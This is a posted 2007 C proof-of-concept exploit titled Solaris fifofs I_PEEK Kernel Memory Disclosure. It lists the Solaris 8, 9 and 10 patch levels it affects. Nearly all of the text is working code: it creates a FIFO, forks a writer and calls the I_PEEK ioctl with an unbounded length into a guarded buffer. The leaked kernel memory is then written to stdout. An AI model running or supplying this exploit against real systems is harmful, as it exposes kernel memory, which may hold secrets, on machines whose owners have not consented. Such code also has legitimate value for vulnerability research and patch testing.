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solaris-fifofs.txt

Posted on 11 October 2007

/* 10/2007: public release
* SPARC
*   Solaris  8 without 109454-06
*   Solaris  9 without 117471-04
*   Solaris 10 without 127737-01
* x86
*   Solaris  8 without 109455-06
*   Solaris  9 without 117472-04
*   Solaris 10 without 127738-01
*
* Solaris fifofs I_PEEK Kernel Memory Disclosure
* By qaaz
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <stropts.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/types.h>

#define PAGE_COUNT	1000

int	main(int argc, char *argv[])
{
struct strpeek	strpeek;
char		*buf, *end;
int		pg = PAGE_COUNT, fd, pagesz, bufsz;

fprintf(stderr,
"---------------------------------------
"
" Solaris fifofs I_PEEK Kmem Disclosure
"
" By qaaz
"
"---------------------------------------
");

if (argc > 1) pg = atoi(argv[1]);

pagesz = getpagesize();

if (mknod("fifo", S_IFIFO | 0666, 0) < 0) {
perror("mknod");
return -1;
}

switch (fork()) {
case -1:
perror("fork");
goto cleanup;
case  0:
if ((fd = open("fifo", O_WRONLY)) < 0) {
perror("open");
exit(0);
}
write(fd, "abcd", 4);
exit(0);
break;
default:
if ((fd = open("fifo", O_RDONLY)) < 0) {
perror("open");
goto cleanup;
}
break;
}

bufsz = (pg + 1) * pagesz;
if (!(buf = memalign(pagesz, bufsz))) {
perror("malloc");
goto cleanup;
}

memset(buf, 0, bufsz);
end = buf + (pg * pagesz);

fprintf(stderr, "-> [ %p .. %p ]
", buf, end);
fflush(stderr);

if (mprotect(end, pagesz, PROT_NONE) < 0) {
perror("mprotect");
goto cleanup;
}

memset(&strpeek, 0, sizeof(strpeek));
strpeek.databuf.buf = buf;
strpeek.databuf.maxlen = -1;
if (ioctl(fd, I_PEEK, &strpeek) < 0) {
perror("ioctl");
goto cleanup;
}

while (end > buf && end[-1] == 0)
end--;
fprintf(stderr, "== %d
", (int) (end - buf));
fflush(stderr);

if (!isatty(1))
write(1, buf, (size_t) (end - buf));

cleanup:
unlink("fifo");
return 0;
}

 

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